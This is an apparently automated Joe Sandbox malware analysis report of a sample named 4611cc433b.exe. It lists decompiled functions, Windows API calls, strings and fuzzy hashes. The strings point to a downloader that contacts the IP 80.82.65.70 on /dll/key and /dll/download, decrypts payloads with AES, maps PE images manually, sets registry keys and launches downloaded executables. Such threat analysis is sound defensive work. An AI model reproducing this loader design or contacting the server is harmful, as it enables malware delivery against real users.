Associated: 00000006.00000002.3258590761.00000000003CE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3258821017.00000000003E3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259061374.00000000003E4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259289947.00000000003E6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259289947.00000000003EF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259746459.00000000003F4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259907932.00000000003F6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260136915.0000000000409000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260322337.000000000040D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260532411.0000000000421000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260750661.0000000000423000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260960462.000000000042A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3261185303.0000000000437000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3261475635.0000000000455000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3261688308.000000000045C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3261871848.0000000000463000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3262113046.0000000000464000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3262366389.0000000000465000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3262635244.000000000046A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3262882555.0000000000471000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3263089745.0000000000475000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3263360680.000000000047F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3263623398.0000000000487000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3263892152.0000000000488000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3264123777.0000000000489000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3264408167.000000000048B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3264674532.000000000048D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3264947804.0000000000494000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3265202111.0000000000497000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3265202111.00000000004D0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3265934711.00000000004FE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3266141882.00000000004FF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3266354492.0000000000500000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3266604874.0000000000503000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3266810904.0000000000505000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3267059772.0000000000515000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3267308457.0000000000516000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1f0000_skotes.jbxd

Yara matches

Similarity

API ID: std::invalid_argument::invalid_argument
String ID: pScheduler$version
API String ID: 2141394445-3154422776
Opcode ID: add953f57337b1a4f837d0b1b86c5c8c6733725f10c3b6a65bbe74e06b7a59cc
Instruction ID: 5ede65b2e05958be9b0010e951eeaa27f31403b190b5cc3137f43bd1b5747775
Opcode Fuzzy Hash: add953f57337b1a4f837d0b1b86c5c8c6733725f10c3b6a65bbe74e06b7a59cc
Instruction Fuzzy Hash: 97E08634570208B6DF29FF54D847ACC77E9AB21709F14C122B810610919BF497F8CEC1

Analysis Process: 4611cc433b.exePID: 3288, Parent PID: 5596COMMON

Execution Graph

Execution Coverage:	2.7%
Dynamic/Decrypted Code Coverage:	14.4%
Signature Coverage:	7.4%
Total number of Nodes:	1573
Total number of Limit Nodes:	19

Executed Functions

Function 00403D20 Relevance: 59.6, APIs: 25, Strings: 8, Instructions: 1839sleepcomCOMMON

Download Yara Rule

APIs

GetTempPathA.KERNEL32(00000104,?,1A9D1BBA,75920F00,00000000), ref: 00403D8A
CreateDirectoryA.KERNEL32(00000000,00000000,00000000,00000000,00000000,?,?), ref: 00403F19
Sleep.KERNEL32(000003E8), ref: 00403F22
__Init_thread_footer.LIBCMT ref: 004044F7
__Init_thread_footer.LIBCMT ref: 004046BD
SHGetFolderPathA.SHELL32(00000000,00000000,00000000,00000000,?,00000000,?,00406AA1,0041D805,0042DA9C,0042DA9D,?,00000000,00000000,0042DC1C,0042DC1D), ref: 004048C7
__Init_thread_footer.LIBCMT ref: 00404955
__Init_thread_footer.LIBCMT ref: 00404BBE
CoInitialize.OLE32(00000000), ref: 00404C3F
CoCreateInstance.OLE32(0041F290,00000000,00000001,0041F260,?,?,00406AA1,0041D805,0042DA9C,0042DA9D,?,00000000,00000000,0042DC1C,0042DC1D), ref: 00404C5A
__Init_thread_footer.LIBCMT ref: 004050BD
Sleep.KERNEL32(00000BB8,00000000,?,00406A81,0041D8A0,/dll/key,/dll/key), ref: 004052D5
__Init_thread_footer.LIBCMT ref: 004053CB
MultiByteToWideChar.KERNEL32(00000000,00000000,00000000,000000FF,?,00000104,?,00406AA1,0041D805,0042DA9C,0042DA9D,?,00000000,00000000,0042DC1C,0042DC1D), ref: 00404CC8

Part of subcall function 004107E2: GetSystemTimeAsFileTime.KERNEL32(?,?,?,?,?,?,00405A7F,00000000,1A9D1BBA), ref: 004107F7
Part of subcall function 004107E2: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 00410816

CoUninitialize.OLE32(?,00406AA1,0041D805,0042DA9C,0042DA9D,?,00000000,00000000,0042DC1C,0042DC1D,?,?,?,?,00000000,0042DA28), ref: 00404D01
CoUninitialize.OLE32(?,?,0042DC1D,?,?,?,?,00000000,0042DA28,0042DA29), ref: 00404DC4
CoUninitialize.OLE32(?,?,?,?,?,0042DC1D,?,?,?,?,00000000,0042DA28,0042DA29), ref: 00404E45
__Init_thread_footer.LIBCMT ref: 00404026

Part of subcall function 00409C3B: EnterCriticalSection.KERNEL32(0042D064,?,?,00401079,0042DA8C,0041DC90), ref: 00409C45
Part of subcall function 00409C3B: LeaveCriticalSection.KERNEL32(0042D064,?,?,00401079,0042DA8C,0041DC90), ref: 00409C78
Part of subcall function 00409C3B: RtlWakeAllConditionVariable.NTDLL ref: 00409CEF

Part of subcall function 004021F0: CreateFileA.KERNEL32(?,40000000,00000001,00000000,00000002,00000080,00000000), ref: 00402226
Part of subcall function 004021F0: WriteFile.KERNEL32(00000000,00000000,00000000,?,00000000), ref: 00402247
Part of subcall function 004021F0: CloseHandle.KERNEL32(00000000), ref: 0040224E

__Init_thread_footer.LIBCMT ref: 00404202

Part of subcall function 00409C85: EnterCriticalSection.KERNEL32(0042D064,?,?,?,00401044,0042DA8C), ref: 00409C90
Part of subcall function 00409C85: LeaveCriticalSection.KERNEL32(0042D064,?,?,?,00401044,0042DA8C), ref: 00409CCD

Strings

viFO, xrefs: 004048DA
KDOX, xrefs: 004048E4
80.82.65.70, xrefs: 00405FFB, 00406014
]DFE, xrefs: 00404640
/dll/key, xrefs: 004050A3, 0040510D, 0040513C, 0040513D
^OX*, xrefs: 00404B6B
get, xrefs: 00405E91
SUB=, xrefs: 00405A98

Memory Dump Source

Source File: 00000007.00000002.3255103045.0000000000400000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_4611cc433b.jbxd

Similarity

API ID: Init_thread_footer$CriticalSection$CreateFileUninitialize$EnterLeavePathSleepTime$ByteCharCloseConditionDirectoryFolderHandleInitializeInstanceMultiSystemTempUnothrow_t@std@@@VariableWakeWideWrite__ehfuncinfo$??2@
String ID: /dll/key$80.82.65.70$KDOX$SUB=$]DFE$^OX*$get$viFO
API String ID: 995133137-3334374467
Opcode ID: 81291f0aee8f25ae2c7450ea58a875d3206c99a7d2b989b3ac485f1c633b6e18
Instruction ID: 2a7656185698f67e8fe61b04cbca63a222de47e8cf16a67dea48f36782a400ee
Opcode Fuzzy Hash: 81291f0aee8f25ae2c7450ea58a875d3206c99a7d2b989b3ac485f1c633b6e18
Instruction Fuzzy Hash: 7BF2D1B0E042188BDB24DF24CC49B9EBBB1EF45304F5441E9E5097B2D2DB78AA85CF59

Function 00404F50 Relevance: 48.9, APIs: 16, Strings: 11, Instructions: 1645sleepregistryCOMMON

Download Yara Rule

APIs

Part of subcall function 004107E2: GetSystemTimeAsFileTime.KERNEL32(?,?,?,?,?,?,00405A7F,00000000,1A9D1BBA), ref: 004107F7
Part of subcall function 004107E2: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 00410816

Part of subcall function 00409C85: EnterCriticalSection.KERNEL32(0042D064,?,?,?,00401044,0042DA8C), ref: 00409C90
Part of subcall function 00409C85: LeaveCriticalSection.KERNEL32(0042D064,?,?,?,00401044,0042DA8C), ref: 00409CCD

__Init_thread_footer.LIBCMT ref: 004050BD
Sleep.KERNEL32(00000BB8,00000000,?,00406A81,0041D8A0,/dll/key,/dll/key), ref: 004052D5
__Init_thread_footer.LIBCMT ref: 004053CB
Sleep.KERNEL32(000007D0), ref: 00405735
Sleep.KERNEL32(000007D0), ref: 0040574F
CoUninitialize.OLE32(?,?,/dll/download,?,?,?,?,?,?,?,?,?,?,00000000,/dll/key), ref: 00405785
CoUninitialize.OLE32(?,?,?,?,?,/dll/download,?,?,?,?,?,?,?), ref: 004057B1
RegCreateKeyExA.ADVAPI32(80000001,?,00000000,00000000,00000000,00000000,00000000,?,?), ref: 00405903
RegOpenKeyExA.ADVAPI32(80000001,?,00000000,00020006,?), ref: 00405925
RegSetValueExA.ADVAPI32(?,?,00000000,00000001,?), ref: 0040594D
RegCloseKey.ADVAPI32(?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 00405956
Sleep.KERNEL32(000005DC), ref: 00405A90

Strings

80.82.65.70, xrefs: 00405FFB, 00406014, 004068DA
80.82.65.70, xrefs: 00406A62
/dll/key, xrefs: 004050A3, 0040510D, 0040513C, 0040513D
DFEK, xrefs: 0040535C
/dll/download, xrefs: 004053B0, 004053ED, 0040541C, 0040541D
updateSW, xrefs: 0040565B
get, xrefs: 00405E91
mixone, xrefs: 00406219
SUB=, xrefs: 00405A98
80.82.65.70, xrefs: 00406A92
U%, xrefs: 00406916

Memory Dump Source

Source File: 00000007.00000002.3255103045.0000000000400000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_4611cc433b.jbxd

Similarity

API ID: Sleep$CriticalInit_thread_footerSectionTimeUninitialize$CloseCreateEnterFileLeaveOpenSystemUnothrow_t@std@@@Value__ehfuncinfo$??2@
String ID: /dll/download$/dll/key$80.82.65.70$80.82.65.70$80.82.65.70$DFEK$SUB=$get$mixone$updateSW$U%
API String ID: 606935701-138909221
Opcode ID: c3c146bb6add52056cefd9354367f528c5363019f5c30eb4f9319c71dfe6477c
Instruction ID: 0d5b8b6ccd7ac2cce54ba59243f10dcebe2db4c82d63bd9967a8cdfa7b9099a4
Opcode Fuzzy Hash: c3c146bb6add52056cefd9354367f528c5363019f5c30eb4f9319c71dfe6477c
Instruction Fuzzy Hash: F5D20471D001148BDB14EB24CC597AEBB75AF01308F5481BEE8097B2D2DB78AE85CF99

Function 00402EC0 Relevance: 35.5, APIs: 11, Strings: 9, Instructions: 454
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetLastError.KERNEL32(0000000D), ref: 00402EE2
SetLastError.KERNEL32(000000C1), ref: 00402F24

Strings

DOS header is not valid!, xrefs: 00402F12
ERROR_OUTOFMEMORY!, xrefs: 00403042
FileHeader.Machine != HOST_MACHINE!, xrefs: 00402F93
Size is not valid!, xrefs: 00402EE8
Signature != IMAGE_NT_SIGNATURE!, xrefs: 00402F81
DOS header size is not valid!, xrefs: 00402F51
p.@P.@0.@, xrefs: 004030C5
Section alignment invalid!, xrefs: 00402FA7
alignedImageSize != AlignValueUp!, xrefs: 0040300C

Memory Dump Source

Source File: 00000007.00000002.3255103045.0000000000400000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_4611cc433b.jbxd

Similarity

API ID: ErrorLast
String ID: DOS header is not valid!$DOS header size is not valid!$ERROR_OUTOFMEMORY!$FileHeader.Machine != HOST_MACHINE!$Section alignment invalid!$Signature != IMAGE_NT_SIGNATURE!$Size is not valid!$alignedImageSize != AlignValueUp!$p.@P.@0.@
API String ID: 1452528299-2075088523
Opcode ID: 93a66e001e3ee66e65f00ee5565e1e2522c51b5cf1621d66301cec4e888181c2
Instruction ID: 9256140b0f890bfcd87a01f3051d579660d3e2dc250f0df49545701e60f9fd82
Opcode Fuzzy Hash: 93a66e001e3ee66e65f00ee5565e1e2522c51b5cf1621d66301cec4e888181c2
Instruction Fuzzy Hash: CCF1CE71B002059BCB10CFA9D985BAAB7B4BF48305F14417AE909EB3C2D779ED11CB98

Function 004035B0 Relevance: 17.7, APIs: 9, Strings: 1, Instructions: 225
encryptionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CryptAcquireContextW.ADVAPI32(?,00000000,?,00000018,F0000000,1A9D1BBA), ref: 00403630
CryptCreateHash.ADVAPI32(?,0000800C,00000000,00000000,?), ref: 00403654
CryptHashData.ADVAPI32(?,00000000,?,00000000), ref: 004036BE
GetLastError.KERNEL32 ref: 004036C8
CryptDeriveKey.ADVAPI32(?,0000660E,?,00000000,?), ref: 004036F0
GetLastError.KERNEL32 ref: 004036FA
CryptReleaseContext.ADVAPI32(?,00000000), ref: 0040370A
CryptDecrypt.ADVAPI32(?,00000000,00000000,00000000,?,00000000), ref: 004037CC
CryptDestroyKey.ADVAPI32(?), ref: 0040383E

Strings

Microsoft Enhanced RSA and AES Cryptographic Provider, xrefs: 0040360C

Memory Dump Source

Source File: 00000007.00000002.3255103045.0000000000400000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_4611cc433b.jbxd

Similarity

API ID: Crypt$ContextErrorHashLast$AcquireCreateDataDecryptDeriveDestroyRelease
String ID: Microsoft Enhanced RSA and AES Cryptographic Provider
API String ID: 3761881897-63410773
Opcode ID: db902f704c09ebec832d35326984641ba9f54955d7dad40eb968e5da25d6ebff
Instruction ID: 8181a1f98bd0149a833479ac616fd79743055c61a592a1420c0c523c4d9566d8
Opcode Fuzzy Hash: db902f704c09ebec832d35326984641ba9f54955d7dad40eb968e5da25d6ebff
Instruction Fuzzy Hash: 37819171A00218AFEF209F25CC45B9ABBB9FF45300F0081BAF90DA7291DB359E858F55

Function 00402A20 Relevance: 15.9, APIs: 7, Strings: 2, Instructions: 113
memorywindowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualProtect.KERNEL32(?,?,?,?), ref: 00402AC8
GetLastError.KERNEL32(00000400,?,00000000,00000000,?,?,?,?), ref: 00402ADD
FormatMessageA.KERNEL32(00001300,00000000,00000000,?,?,?,?), ref: 00402AEB
LocalAlloc.KERNEL32(00000040,?,?,?,?,?), ref: 00402B06
OutputDebugStringA.KERNEL32(00000000,?,?), ref: 00402B25
LocalFree.KERNEL32(00000000), ref: 00402B32
LocalFree.KERNEL32(?), ref: 00402B37

Strings

Error protecting memory page, xrefs: 00402B11
%s: %s, xrefs: 00402B16

Memory Dump Source

Source File: 00000007.00000002.3255103045.0000000000400000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_4611cc433b.jbxd

Similarity

API ID: Local$Free$AllocDebugErrorFormatLastMessageOutputProtectStringVirtual
String ID: %s: %s$Error protecting memory page
API String ID: 839691724-1484484497
Opcode ID: f25455ec320cf7d64a2bc5a19560f05570590d079a315ae6df6c255a1a5fbc21
Instruction ID: 0c0000675eadf2e66051917e59d7aa22c0aaa2fc97c5d5fe75df83e4770fcd9e
Opcode Fuzzy Hash: f25455ec320cf7d64a2bc5a19560f05570590d079a315ae6df6c255a1a5fbc21
Instruction Fuzzy Hash: 4B310731B00104AFDB10DF68DD44FAAB768EF48704F0541BEE905AB2D2DB75AE06CB98

Function 00401940 Relevance: 9.0, APIs: 4, Strings: 1, Instructions: 293
networkfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

InternetSetFilePointer.WININET(?,00000000,00000000,00000000,00000000), ref: 004019D5
InternetReadFile.WININET(?,00000000,000003E8,00000000), ref: 004019F8

Strings

text, xrefs: 00401B5F

Memory Dump Source

Source File: 00000007.00000002.3255103045.0000000000400000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_4611cc433b.jbxd

Similarity

API ID: FileInternet$PointerRead
String ID: text
API String ID: 3197321146-999008199
Opcode ID: a1a1245a0c2869141200dbf1af8a0815d76e4374af22e52083e6c9f7b5d17514
Instruction ID: 0125e10c814f2167b0c83c61a86ba883da1fe49b2781431745f5a2561ed14111
Opcode Fuzzy Hash: a1a1245a0c2869141200dbf1af8a0815d76e4374af22e52083e6c9f7b5d17514
Instruction Fuzzy Hash: FAC15B709002189FDB24DF64CC85BD9B7B5EF49304F1041EAE509B72A1D778AE94CF99

Function 00FFD63E Relevance: 3.0, APIs: 2, Instructions: 41
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateToolhelp32Snapshot.KERNEL32(00000008,00000000), ref: 00FFD666
Module32First.KERNEL32(00000000,00000224), ref: 00FFD686

Memory Dump Source

Source File: 00000007.00000002.3265730716.0000000000FFC000.00000040.00000020.00020000.00000000.sdmp, Offset: 00FFC000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_ffc000_4611cc433b.jbxd

Yara matches

Similarity

API ID: CreateFirstModule32SnapshotToolhelp32
String ID:
API String ID: 3833638111-0
Opcode ID: 3788706d20f5b898e185810e19a2e38a50b9b544ac306a9cd33eedd6d527d18a
Instruction ID: 9fca6fc4655971d523e3f951c0bf14e3f9aa1ee854fbd35b33dec291d08c158f
Opcode Fuzzy Hash: 3788706d20f5b898e185810e19a2e38a50b9b544ac306a9cd33eedd6d527d18a
Instruction Fuzzy Hash: DFF0C2316003196BD7202AF8988CB7A72E9AF49724F100528F74AD20D0CF74EC459A61

Function 00408770 Relevance: 2.5, Strings: 2, Instructions: 27COMMON

Download Yara Rule

Strings

emp, xrefs: 00408787
mixtwo, xrefs: 004087AC

Memory Dump Source

Source File: 00000007.00000002.3255103045.0000000000400000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_4611cc433b.jbxd

Similarity

API ID: Sleep
String ID: emp$mixtwo
API String ID: 3472027048-2390925073
Opcode ID: 25b80a3ffdd21913e586197d89a1d0a7f06881a9f76e4fd5286830887ded5122
Instruction ID: d670b023532553bde9b5cd74a18030282768016b503e3e09e149c4df20b712b6
Opcode Fuzzy Hash: 25b80a3ffdd21913e586197d89a1d0a7f06881a9f76e4fd5286830887ded5122
Instruction Fuzzy Hash: 15F01CB161430457E7147F65ED1B7173EA4970271CFA006ADD8141F2C2E7FB861A8BE6

Function 10001523 Relevance: 21.2, APIs: 10, Strings: 2, Instructions: 192
networkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__EH_prolog3_GS.LIBCMT ref: 1000152A
__cftof.LIBCMT ref: 10001624
InternetOpenA.WININET(?,?,?,00000000,00000000), ref: 1000163D
InternetSetOptionA.WININET(00000000,00000041,?,00000004), ref: 10001660
InternetConnectA.WININET(00000000,?,00000050,?,?,00000003,00000000,00000001), ref: 10001680
HttpOpenRequestA.WININET(00000000,GET,?,00000000,00000000,00000000,80400000,00000001), ref: 100016B0
HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 100016C9
InternetCloseHandle.WININET(00000000), ref: 100016E0
InternetCloseHandle.WININET(00000000), ref: 100016E3
InternetCloseHandle.WININET(00000000), ref: 100016E9

Strings

http://, xrefs: 10001567
GET, xrefs: 100016AA

Memory Dump Source

Source File: 00000007.00000002.3290931900.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000007.00000002.3290893671.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.3291064819.0000000010011000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.3291100953.0000000010018000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_10000000_4611cc433b.jbxd

Similarity

API ID: Internet$CloseHandle$HttpOpenRequest$ConnectH_prolog3_OptionSend__cftof
String ID: GET$http://
API String ID: 1233269984-1632879366
Opcode ID: 6ef726b70a96d5212e420baa69142e1171cf0ccdfb6c98ffbdd36cdffced8e0e
Instruction ID: 7cfd31fe4164df5669dc4f011f358c4066a4bf273ac9d15a63e71752a24e0b34
Opcode Fuzzy Hash: 6ef726b70a96d5212e420baa69142e1171cf0ccdfb6c98ffbdd36cdffced8e0e
Instruction Fuzzy Hash: D5518F75E01618EBEB11CBE4CC85EEEB7B9EF48340F508114FA11BB189D7B49A45CBA0

Function 00401800 Relevance: 19.4, APIs: 4, Strings: 7, Instructions: 106
networkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

HttpAddRequestHeadersA.WININET(?,00000000,00000000,20000000), ref: 00401873
HttpAddRequestHeadersA.WININET(?,00000000,00000000,20000000), ref: 00401899
HttpAddRequestHeadersA.WININET(?,00000000,00000000,20000000), ref: 004018BF

Part of subcall function 00402470: Concurrency::cancel_current_task.LIBCPMT ref: 00402599

HttpAddRequestHeadersA.WININET(?,00000000,00000000,20000000), ref: 004018E5

Strings

Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1, xrefs: 0040189D
Accept-Language: ru-RU,ru;q=0.9,en;q=0.8, xrefs: 00401877
Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1, xrefs: 00401832
text, xrefs: 00401B5F
Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0, xrefs: 004018C3
http://, xrefs: 00401EC4, 004021A3
GET, xrefs: 004020B7

Memory Dump Source

Source File: 00000007.00000002.3255103045.0000000000400000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_4611cc433b.jbxd

Similarity

API ID: HeadersHttpRequest$Concurrency::cancel_current_task
String ID: Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1$Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0$Accept-Language: ru-RU,ru;q=0.9,en;q=0.8$Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1$GET$http://$text
API String ID: 2146599340-4172842843
Opcode ID: 63080466dd17a9b8a4ff43f685a9b199d52acbea20d3452c9180351abca4782c
Instruction ID: d9449a1bc553b4f7263359658e85a8d5597bae1f9675cad689ed873ec2693fe7
Opcode Fuzzy Hash: 63080466dd17a9b8a4ff43f685a9b199d52acbea20d3452c9180351abca4782c
Instruction Fuzzy Hash: A4316371D00109AFEB14DBE9CC85FEEB7B9EB08714F60812AE521731C0C7789945CBA4

Function 04B7003C Relevance: 12.8, APIs: 5, Strings: 2, Instructions: 515
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNEL32(00000000,?,00001000,00000004), ref: 04B7024D

Strings

cess, xrefs: 04B7018D
kernel32.dll, xrefs: 04B7008F, 04B70095

Memory Dump Source

Source File: 00000007.00000002.3279910131.0000000004B70000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_4b70000_4611cc433b.jbxd

Yara matches

Similarity

API ID: AllocVirtual
String ID: cess$kernel32.dll
API String ID: 4275171209-1230238691
Opcode ID: aaa6c488ea091c11cf1d14b1b8159415dd1a008d9b857f0942c425a8c5fa1e0a
Instruction ID: 51a03c2a05091f186c69e16f3fd55a221174a7f3027d52c73d462902e19b2cbf
Opcode Fuzzy Hash: aaa6c488ea091c11cf1d14b1b8159415dd1a008d9b857f0942c425a8c5fa1e0a
Instruction Fuzzy Hash: 06526B74A01229DFDB64CF58C984BACBBB1BF09304F1480DAE55DAB351DB30AA85DF14

Function 00405A30 Relevance: 11.2, APIs: 2, Strings: 5, Instructions: 678sleepCOMMON

Download Yara Rule

APIs

Part of subcall function 004107E2: GetSystemTimeAsFileTime.KERNEL32(?,?,?,?,?,?,00405A7F,00000000,1A9D1BBA), ref: 004107F7
Part of subcall function 004107E2: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 00410816

Sleep.KERNEL32(000005DC), ref: 00405A90

Strings

80.82.65.70, xrefs: 00405FFB, 00406014, 004068DA
80.82.65.70, xrefs: 00406A62
get, xrefs: 00405E91
SUB=, xrefs: 00405A98
U%, xrefs: 00406916

Memory Dump Source

Source File: 00000007.00000002.3255103045.0000000000400000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_4611cc433b.jbxd

Similarity

API ID: Time$FileSleepSystemUnothrow_t@std@@@__ehfuncinfo$??2@
String ID: 80.82.65.70$80.82.65.70$SUB=$get$U%
API String ID: 2563648476-941462393
Opcode ID: 167d1afffcf2c6992d5677df203f6ddfa97db10191ac7580195699f566a7dfe0
Instruction ID: c38411781881cdafda6c84006562c20812e5f10be50bcbbeaff71a156a434d29
Opcode Fuzzy Hash: 167d1afffcf2c6992d5677df203f6ddfa97db10191ac7580195699f566a7dfe0
Instruction Fuzzy Hash: 04323171D101089BCB19FBB5C95AADE73786F14308F50817FE856771C2EE7C6A08CAA9

Function 10001175 Relevance: 10.8, APIs: 5, Strings: 1, Instructions: 264
networkcomfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__EH_prolog3_GS.LIBCMT ref: 1000117F
InternetSetFilePointer.WININET(?,00000000,00000000,00000000,00000000), ref: 100011DD
InternetReadFile.WININET(?,?,000003E8,?), ref: 100011FB
HttpQueryInfoA.WININET(?,0000001D,?,00000103,00000000), ref: 10001298
CoCreateInstance.OLE32(?,00000000,00000001,100111B0,?), ref: 100012CA

Strings

text, xrefs: 10001327

Memory Dump Source

Source File: 00000007.00000002.3290931900.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000007.00000002.3290893671.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.3291064819.0000000010011000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.3291100953.0000000010018000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_10000000_4611cc433b.jbxd

Similarity

API ID: FileInternet$CreateH_prolog3_HttpInfoInstancePointerQueryRead
String ID: text
API String ID: 1154000607-999008199
Opcode ID: a1e379d679c24b6df6bb2eefa12ec4263e14a704e2d288e5f5fa36855e8b81ad
Instruction ID: b002d723a568eb8b1b2c33cfea8b8604ab2d7fe63d6740fb25dc42610badb9b0
Opcode Fuzzy Hash: a1e379d679c24b6df6bb2eefa12ec4263e14a704e2d288e5f5fa36855e8b81ad
Instruction Fuzzy Hash: 62B14975900229AFEB65CF24CC85BDAB7B8FF09355F1041D9E508A7265DB70AE80CF90

Function 10001F20 Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 182
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 10005956: GetSystemTimeAsFileTime.KERNEL32(00000000,?,?,?,10001F48,00000000), ref: 10005969
Part of subcall function 10005956: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 1000599A

CreateProcessA.KERNEL32(?,00000000,00000000,00000000,00000000,00000000,00000000,00000000,?,?), ref: 1000212B
ShellExecuteA.SHELL32(00000000,open,?,00000000,00000000,0000000A), ref: 10002155

Strings

.exe, xrefs: 1000206B
open, xrefs: 1000214F

Memory Dump Source

Source File: 00000007.00000002.3290931900.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000007.00000002.3290893671.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
